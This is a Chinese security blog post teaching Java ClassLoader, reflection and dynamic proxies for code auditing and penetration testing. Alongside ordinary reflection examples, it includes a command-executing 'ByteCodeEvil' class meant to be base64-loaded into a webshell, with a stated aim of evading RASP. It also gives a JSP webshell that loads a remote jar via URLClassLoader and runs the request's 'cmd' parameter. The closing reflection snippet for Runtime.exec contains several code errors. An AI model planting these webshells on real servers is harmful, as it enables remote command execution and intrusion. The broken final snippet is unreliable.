技术标签: # Java代码审计 渗透测试 信息安全 网络安全
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大
少走了弯路,也就错过了风景,无论如何,感谢经历
转移发布平台通知:将不再在程序员宅基地发布新文章,敬请移步知识星球
感谢大家一直以来对我程序员宅基地的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步
java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。
以上说明:如果不通过loadClass来加载类,可以不重写findClass方法
自定义类加载器的步骤:
既然已知ClassLoader具备了加载类的能力,写一个自己的类加载器来实现加载自定义的字节码(以加载TestOrangey类为例)并调用orangey方法
如果com.anbai.sec.classloader.TestOrangey类存在的情况下,可以使用如下代码即可实现调用hello方法并输出:
TestOrangey t = new TestOrangey();
String str = t.orangey();
System.out.println(str);
但是如果com.anbai.sec.classloader.TestOrangey根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestOrangey类,最后通过反射机制就可以调用TestOrangey类的orangey方法了。
例如TestClassLoader代码:
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
0, 0, 0, 2, 0, 12
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用自定义类加载器可以在WebShell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密)。
编译成二进制并且用base64编码
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
//System.out.println(res);
}
@Override
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
System.out.println(byteCodeEvil);
}
}
将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能
String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {
...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();
实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法,其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法
如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载。
在Java的类加载中的双亲委派机制:
例如,用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息
下面重写findClass方法实现自定义类加载:
package com.trevain.classload1;
import java.util.Base64;
public class TestClassLoader extends ClassLoader{
// TestHelloWorld类名
private static String testClassName = "ByteCodeEvil";//替换名字
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
byte[] bytes = Base64.getDecoder().decode("base64_byte");//替换字节码
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, bytes, 0, bytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class<?> testClass = loader.findClass(testClassName);
// 反射通过构造器新建对象
Object testInstance = testClass.getConstructor(String.class).newInstance("net user");
System.out.println(testInstance);
// 反射获取hello方法
//Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
//String str = (String) method.invoke(testInstance);
//System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package com.trevain.classload1;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
// 定义远程加载的jar路径
URL url = new URL("http://127.0.0.1:8000/javaEvalCmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{
url});
// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> cmdClass = ucl.loadClass("wang.ByteCodeEvil");
Object net_user = cmdClass.getConstructor(String.class).newInstance("net user");
//System.out.println(net_user);
}
}
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%
response.getOutputStream().write(new URLClassLoader(new URL[]{
new URL("http://127.0.0.1:8000/javaEvalCmd.jar")}).loadClass(
"wang.ByteCodeEvil").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>
</body>
</html>
Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂
Java反射机制容许程序在运行时加载、探知、使用编译期间完全未知的classes。换言之,Java可以加载一个运行时才得知名称的class,获得其完整结构。现在很多开框架都用到反射机制,hibernate、struts都是用反射机制实现的。安卓上现在的通过反射操作注解,通过反射操作泛型,都是一些很棒的示例
获取字节码文件对象(获取class对象的方式)的三种方式:
类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class
classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")
Class.forName("com.anbai.sec.classloader.TestHelloWorld")
获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取Runtime类Class对象代码片段:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象,反射调用内部类的时候需要使用$
来代替.
,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test$Hello
获取类中的所有成员方法:
Method[] methods = clazz.getDeclaredMethods()
获取当前类指定的成员方法:
Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
getMethod和getDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)
调用类方法代码:
Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。
Field fields = clazz.getDeclaredFields();
Field field = clazz.getDeclaredField("变量名");
Object obj = field.get(类实例对象);
field.set(类实例对象, 修改后的值);
当没有修改的成员变量权限时可以使用:field.setAccessible(true)的方式修改为访问成员变量访问权限
反射机制主要提供了以下功能:
在使用Java的反射功能时,基本首先都要获取类的Class对象,再通过Class对象获取其它的对象
下图是类的正常加载过程、反射原理与class对象:
Class对象的由来是将.class文件读入内存,并为之创建一个Class对象
package net.xsoftlab.baike;
public class TestReflect {
public static void main(String[] args) throws Exception {
TestReflect testReflect = new TestReflect();
System.out.println(testReflect.getClass().getName());
// 结果 net.xsoftlab.baike.TestReflect
}
}
package net.xsoftlab.baike;
public class TestReflect {
public static void main(String[] args) throws Exception {
Class<?> class1 = null ;
Class<?> class2 = null ;
Class<?> class3 = null ;
// 一般采用这种形式
class1 = Class.forName( "net.xsoftlab.baike.TestReflect" );
class2 = new TestReflect().getClass();
class3 = TestReflect. class ;
System.out.println( "类名称 " + class1.getName());
System.out.println( "类名称 " + class2.getName());
System.out.println( "类名称 " + class3.getName());
}
}
package net.xsoftlab.baike;
import java.io.Serializable;
public class TestReflect implements Serializable {
private static final long serialVersionUID = -2862585049955236662L;
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
// 取得父类
Class<?> parentClass = clazz.getSuperclass();
System.out.println( "clazz的父类为:" + parentClass.getName());
// clazz的父类为: java.lang.Object
// 获取所有的接口
Class<?> intes[] = clazz.getInterfaces();
System.out.println( "clazz实现的接口有:" );
for ( int i = 0 ; i < intes.length; i++) {
System.out.println((i + 1 ) + ":" + intes[i].getName());
}
// clazz实现的接口有:
// 1:java.io.Serializable
}
}
不论是方法的反射、成员变量的反射、构造函数的反射,只需要知道:要想获取类的信息,首先得获取类的类类型
public static void printConMessage(Object obj){
Class c = obj.getClass();
/*
* 首先构造函数也是对象,是java.lang.Constructor类的对象
* 也就是java.lang. Constructor中封装了构造函数的信息
* 和前面说到的一样,它也有两个方法:
* getConstructors()方法获取所有的public的构造函数
* getDeclaredConstructors()方法得到所有的自己声明的构造函数
*/
// Constructor[] cs = c.getConstructors();
Constructor[] cs = c.getDeclaredConstructors();
for (Constructor constructor : cs) {
//我们知道构造方法是没有返回值类型的,但是我们可以:
System.out.print(constructor.getName()+"(");
//获取构造函数的参数列表》》得到的是参数列表的类类型
Class[] paramTypes = constructor.getParameterTypes();
for (Class class1 : paramTypes) {
System.out.print(class1.getName()+",");
}
System.out.println(")");
}
}
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//先获取有参构造,parameterTypes:表述参数列表,也可以不写
Constructor constructor = classs.getConstructor(int.class,String.class,int.class,String.class);
//通过构造器来实例化对象,将实际的参数传进去
User user = (User) constructor.newInstance(01,"小A",13,"小G");
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取所有构造函数
Constructor constructor[] = classs.getConstructors();
//遍历所有构造函数
for(int i=0;i<constructor.length;i++){
//获取每个构造函数中的参数类型字节码对象
Class[] parameterTypes = constructor[i].getParameterTypes();
System.out.println("第"+i+"个构造函数:");
for (int j = 0; j < parameterTypes.length; j++) {
System.out.println(parameterTypes[j].getName()+",");
}
}
package net.xsoftlab.baike;
import java.lang.reflect.Constructor;
public class TestReflect {
public static void main(String[] args) throws Exception {
Class<?> class1 = null ;
class1 = Class.forName( "net.xsoftlab.baike.User" );
// 第一种方法,实例化默认构造方法,调用set赋值
User user = (User) class1.newInstance();
user.setAge( 20 );
user.setName( "Rollen" );
System.out.println(user);
// 结果 User [age=20, name=Rollen]
// 第二种方法 取得全部的构造函数 使用构造函数赋值
Constructor<?> cons[] = class1.getConstructors();
// 查看每个构造方法需要的参数
for ( int i = 0 ; i < cons.length; i++) {
Class<?> clazzs[] = cons[i].getParameterTypes();
System.out.print( "cons[" + i + "] (" );
for ( int j = 0 ; j < clazzs.length; j++) {
if (j == clazzs.length - 1 )
System.out.print(clazzs[j].getName());
else
System.out.print(clazzs[j].getName() + "," );
}
System.out.println( ")" );
}
// 结果
// cons[0] (java.lang.String)
// cons[1] (int,java.lang.String)
// cons[2] ()
user = (User) cons[ 0 ].newInstance( "Rollen" );
System.out.println(user);
// 结果 User [age=0, name=Rollen]
user = (User) cons[ 1 ].newInstance( 20 , "Rollen" );
System.out.println(user);
// 结果 User [age=20, name=Rollen]
}
}
class User {
private int age;
private String name;
public User() {
super ();
}
public User(String name) {
super ();
this .name = name;
}
public User( int age, String name) {
super ();
this .age = age;
this .name = name;
}
public int getAge() {
return age;
}
public void setAge( int age) {
this .age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this .name = name;
}
@Override
public String toString() {
return "User [age=" + age + ", name=" + name + "]" ;
}
}
成员变量也是对象,是java.lang.reflect.Field类的对象,那么也就是说Field类封装了关于成员变量的操作。既然它封装了成员变量,又该如何获取这些成员变量呢?它有这么一个方法:
public class ClassUtil {
public static void printFieldMessage(Object obj){
Class c = obj.getClass();
//Field[] fs = c.getFields();
}
这里的getFields()方法获取的所有的public的成员变量的信息,和方法的反射那里public的成员变量,也有一个获取所有自己声明的成员变量的信息:
Field[] fs = c.getDeclaredFields();
在得到它之后,可以进行遍历(既然封装了Field的信息,就可以得到Field类型)
for (Field field : fs) {
//得到成员变量的类型的类类型
Class fieldType = field.getType();
String typeName = fieldType.getName();
//得到成员变量的名称
String fieldName = field.getName();
System.out.println(typeName+" "+fieldName);
}
spring对未提供set方法的private属性依然可以注入感到神奇万分,现在看来,这神奇的根源自然是来自于java的反射,常用的方法如下
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//获取成员变量classs.getField(name);通过name来获取指定成员变量
//如果该成员变量是私有的,则应该使用getDeclaredField(name);
Field declaredField = classs.getDeclaredField("userName");
//因为属性是私有的,获得其对象后,还要让打开可见权限
declaredField.setAccessible(true);
//对成员变量进行操作
//赋值操作
declaredField.set(user, "Richard");
System.out.println(user.getUserName());
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//赋值操作
user.setUserNum(01);
user.setUserName("小A");
//将私有属性一并获得
Field[] fields = classs.getDeclaredFields();
//遍历所有属性
for (int i = 0; i < fields.length; i++) {
//打开可见权限
fields[i].setAccessible(true);
System.out.println(fields[i].get(user));
}
package net.xsoftlab.baike;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TestReflect implements Serializable {
private static final long serialVersionUID = -2862585049955236662L;
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
System.out.println( "===============本类属性===============" );
// 取得本类的全部属性
Field[] field = clazz.getDeclaredFields();
for ( int i = 0 ; i < field.length; i++) {
// 权限修饰符
int mo = field[i].getModifiers();
String priv = Modifier.toString(mo);
// 属性类型
Class<?> type = field[i].getType();
System.out.println(priv + " " + type.getName() + " " + field[i].getName() + ";" );
}
System.out.println( "==========实现的接口或者父类的属性==========" );
// 取得实现的接口或者父类的属性
Field[] filed1 = clazz.getFields();
for ( int j = 0 ; j < filed1.length; j++) {
// 权限修饰符
int mo = filed1[j].getModifiers();
String priv = Modifier.toString(mo);
// 属性类型
Class<?> type = filed1[j].getType();
System.out.println(priv + " " + type.getName() + " " + filed1[j].getName() + ";" );
}
}
}
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//不带参数的方法,name为不带参数的方法
/*
* classs.getMethod(name,paraMeterTypes)
* name:方法的名称
* paraMeterTypes:方法的参数类型,没有则什么都不填 例如:String.class
*/
Method method = classs.getMethod("name");
//调用方法
/*
* method.invoke(obj,args)
* obj:方法的对象
* args:实际的参数值,没有则不填
*/
method.invoke(user);
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
// User user = (User) classs.newInstance();
//获取带参数的方法,为方法名
// Method method = classs.getDeclaredMethod("namess", String.class);
//设置可见性
// method.setAccessible(true);
//调用方法
// method.invoke(user, "text");
//获取字节码文件
Class classs = Class.forName("com.zcbq.reflect.User");
//获取其实例对象
User user = (User) classs.newInstance();
//获取所有的方法
Method[] methods = classs.getMethods();
//遍历所有方法
for (Method method : methods) {
//设置可见性
method.setAccessible(true);
System.out.println(method.getName());
//获得方法的参数
Class<?>[] parameterTypes = method.getParameterTypes();
for (int i = 0; i < parameterTypes.length; i++) {
//获得构造函数中参数类型
System.out.println(parameterTypes[i].getName()+",");
}
}
package net.xsoftlab.baike;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class TestReflect implements Serializable {
private static final long serialVersionUID = -2862585049955236662L;
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
Method method[] = clazz.getMethods();
for ( int i = 0 ; i < method.length; ++i) {
Class<?> returnType = method[i].getReturnType();
Class<?> para[] = method[i].getParameterTypes();
int temp = method[i].getModifiers();
System.out.print(Modifier.toString(temp) + " " );
System.out.print(returnType.getName() + " " );
System.out.print(method[i].getName() + " " );
System.out.print( "(" );
for ( int j = 0 ; j < para.length; ++j) {
System.out.print(para[j].getName() + " " + "arg" + j);
if (j < para.length - 1 ) {
System.out.print( "," );
}
}
Class<?> exce[] = method[i].getExceptionTypes();
if (exce.length > 0 ) {
System.out.print( ") throws " );
for ( int k = 0 ; k < exce.length; ++k) {
System.out.print(exce[k].getName() + " " );
if (k < exce.length - 1 ) {
System.out.print( "," );
}
}
} else {
System.out.print( ")" );
}
System.out.println();
}
}
}
package net.xsoftlab.baike;
import java.lang.reflect.Method;
public class TestReflect {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
// 调用TestReflect类中的reflect1方法
Method method = clazz.getMethod( "reflect1" );
method.invoke(clazz.newInstance());
// Java 反射机制 - 调用某个类的方法1.
// 调用TestReflect的reflect2方法
method = clazz.getMethod( "reflect2" , int . class , String. class );
method.invoke(clazz.newInstance(), 20 , "张三" );
// Java 反射机制 - 调用某个类的方法2.
// age -> 20. name -> 张三
}
public void reflect1() {
System.out.println( "Java 反射机制 - 调用某个类的方法1." );
}
public void reflect2( int age, String name) {
System.out.println( "Java 反射机制 - 调用某个类的方法2." );
System.out.println( "age -> " + age + ". name -> " + name);
}
}
package net.xsoftlab.baike;
import java.lang.reflect.Field;
public class TestReflect {
private String proprety = null ;
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName( "net.xsoftlab.baike.TestReflect" );
Object obj = clazz.newInstance();
// 可以直接对 private 的属性赋值
Field field = clazz.getDeclaredField( "proprety" );
field.setAccessible( true );
field.set(obj, "Java反射机制" );
System.out.println(field.get(obj));
}
}
Class类有一个最简单的方法,getName():
public class Demo2 {
public static void main(String[] args) {
Class c1 = int.class;//int 的类类型
Class c2 = String.class;//String类的类类型
Class c3 = void.class;
System.out.println(c1.getName());
System.out.println(c2.getName());
System.out.println(c2.getSimpleName());
System.out.println(c3.getName());
}
}
getName方法可以打印出该类类型的类名称,我们也可以用getSimpleName()方法可以打印出不包含包名的类的名称。从上面代码可以看出,基本的数据类型以及void关键字都是存在类类型的
public class ClassUtil {
public static void printClassMethodMessage(Object obj){
//要获取类的信息》》首先我们要获取类的类类型
Class c = obj.getClass();
//我们知道Object类是一切类的父类,所以我们传递的是哪个子类的对象,c就是该子类的类类型。
//接下来我们要获取类的名称
System.out.println("类的名称是:"+c.getName());
/*
*我们知道,万事万物都是对象,方法也是对象,是谁的对象呢?
* 在java里面,方法是Method类的对象
*一个成员方法就是一个Method的对象,那么Method就封装了对这个成员
*方法的操作
*/
//如果我们要获得所有的方法,可以用getMethods()方法,这个方法获取的是所有的Public的函数,包括父类继承而来的。如果我们要获取所有该类自己声明的方法,就可以用getDeclaredMethods()方法,这个方法是不问访问权限的。
Method[] ms = c.getMethods();//c.getDeclaredMethods()
//接下来我们拿到这些方法之后干什么?我们就可以获取这些方法的信息,比如方法的名字。
//首先我们要循环遍历这些方法
for(int i = 0; i < ms.length;i++){
//然后可以得到方法的返回值类型的类类型
Class returnType = ms[i].getReturnType();
//得到方法的返回值类型的名字
System.out.print(returnType.getName()+" ");
//得到方法的名称
System.out.print(ms[i].getName()+"(");
//获取参数类型--->得到的是参数列表的类型的类类型
Class[] paramTypes = ms[i].getParameterTypes();
for (Class class1 : paramTypes) {
System.out.print(class1.getName()+",");
}
System.out.println(")");
}
}
}
PS:通过方法的反射得到该类的名称步骤:
动态代理:利用Java的反射技术(Java Reflection),在运行时创建一个实现某些给定接口的新类(也称“动态代理类”)及其实例(对象);代理的是接口(Interfaces),不是类(Class),更不是抽象类
动态代理的实现分三步:
注:JDK提供的代理正能针对接口做代理,也就是上面的第二步返回的必须要是一个接口
// 获取类加载器的方法
TestReflect testReflect = new TestReflect();
System.out.println( "类加载器 " + testReflect.getClass().getClassLoader().getClass().getName());
package net.xsoftlab.baike;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
//定义项目接口
interface Subject {
public String say(String name, int age);
}
// 定义真实项目
class RealSubject implements Subject {
public String say(String name, int age) {
return name + " " + age;
}
}
class MyInvocationHandler implements InvocationHandler {
private Object obj = null ;
public Object bind(Object obj) {
this .obj = obj;
return Proxy.newProxyInstance(obj.getClass().getClassLoader(), obj.getClass().getInterfaces(), this );
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object temp = method.invoke( this .obj, args);
return temp;
}
}
/**
* 在java中有三种类类加载器。
*
* 1)Bootstrap ClassLoader 此加载器采用c++编写,一般开发中很少见。
*
* 2)Extension ClassLoader 用来进行扩展类的加载,一般对应的是jrelibext目录中的类
*
* 3)AppClassLoader 加载classpath指定的类,是最常用的加载器。同时也是java中默认的加载器。
*
* 如果想要完成动态代理,首先需要定义一个InvocationHandler接口的子类,已完成代理的具体操作。
*
* @author xsoftlab.net
*
*/
public class TestReflect {
public static void main(String[] args) throws Exception {
MyInvocationHandler demo = new MyInvocationHandler();
Subject sub = (Subject) demo.bind( new RealSubject());
String info = sub.say( "Rollen" , 20 );
System.out.println(info);
}
}
例:
package com.zcbq.proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class MyInvocationHander implements InvocationHandler {
private Object target;
public MyInvocationHander() {
super();
}
public MyInvocationHander(Object target) {
super();
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// TODO Auto-generated method stub
System.err.println("开始");
method.invoke(target, args); //执行被代理的target对象的方法
System.out.println("结束");
return null;
}
}
Student student = new StuImp();
MyInvocationHander m = new MyInvocationHander(student);
/**
* student.getClass().getClassLoader():类加载器
* student.getClass().getInterfaces():被代理对象的接口
* m:代理对象
*/
Student s = (Student) Proxy.newProxyInstance(student.getClass().getClassLoader(),
student.getClass().getInterfaces(), m);
s.login();
s.logout();
注:newProxyInstance的三个参数,第一个,类加载器,第二个被代理对象的接口,第三个代理对象
在运行时获得类的各种内容,进行反编译,对于Java这种先编译再运行的语言,能够让我们很方便的创建灵活的代码,这些代码可以在运行时装配,无需在组件之间进行源代码的链接,更加容易实现面向对象。
缺点:
java.lang.Runtime
因为有一个exec方法可以执行命令,所以在很多的payload中我们都可以看到反射调用Runtime类来执行本地系统命令,通过学习如何反射Runtime类也能让我们理解反射的一些基础用法以及一些攻击手法
java.lang.Runtime
当程序运行时,每个java应用程序都能得到一个运行时的实例,应用程序不能创建这个实例,只能从getRuntime()方法获得RunTime实例
在java.lang.Runtime()中存在多个重载的exec()方法,如下所示:
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
从上面可以看出,不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)
除了常见的exec(String command)
和exec(String cmdarray[])
,其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec
的正确姿势分析exec(String cmdarray[])
和exec(String command)
:
// exec(String command) 函数
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
首先来看调用的 exec(String command)
,它经过 exec(String command, String[] envp, File dir)
函数里StringTokenizer
通过分割符进行分割。java 默认的分隔符是空格(“”)、制表符(\t)、换行符(\n)、回车符(\r)
。最后存入字符串数组,再传入执行函数。而它的底层也是调用的 ProcessBuilder 创建进程,而 array[0] 其实就是进程位置
不使用反射执行本地命令代码片段:
// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));
如上代码,使用一行代码完成本地命令执行操作,但是如果使用反射就会比较麻烦了,我们不得不需要间接性的调用Runtime的exec方法
反射Runtime执行本地命令代码片段:
//获取Runtime类对象
Class runtimeClass1 = Class.forname("java.lang.Runtime");
//获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
//如果方法是 private修饰的,当你用反射去访问的时候
//setAccessible(true); 之后 才能访问
setAccessible(true);
//创建Runtime类实例,等价于Runtime rt=new Runtime();
object runtimeInstance=constructor.newInstance();
//获取Runtime的exec(string cmd)方法
//getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
//getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
Method runtimeMethod = runtimeClass1.getMethod("exec",String.class);
//调用exec方法,等价于exec(String cmd)方法
//method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
Process runtimeMethod = (Process) runtimeMethod.invoke(runtimeInstance,cmd);
//获取命令执行结果
InputStream in = process.getInputStream();
//输出命令执行结果
System.out.println(IOUtiles.tostring(in,"UTF-8"));
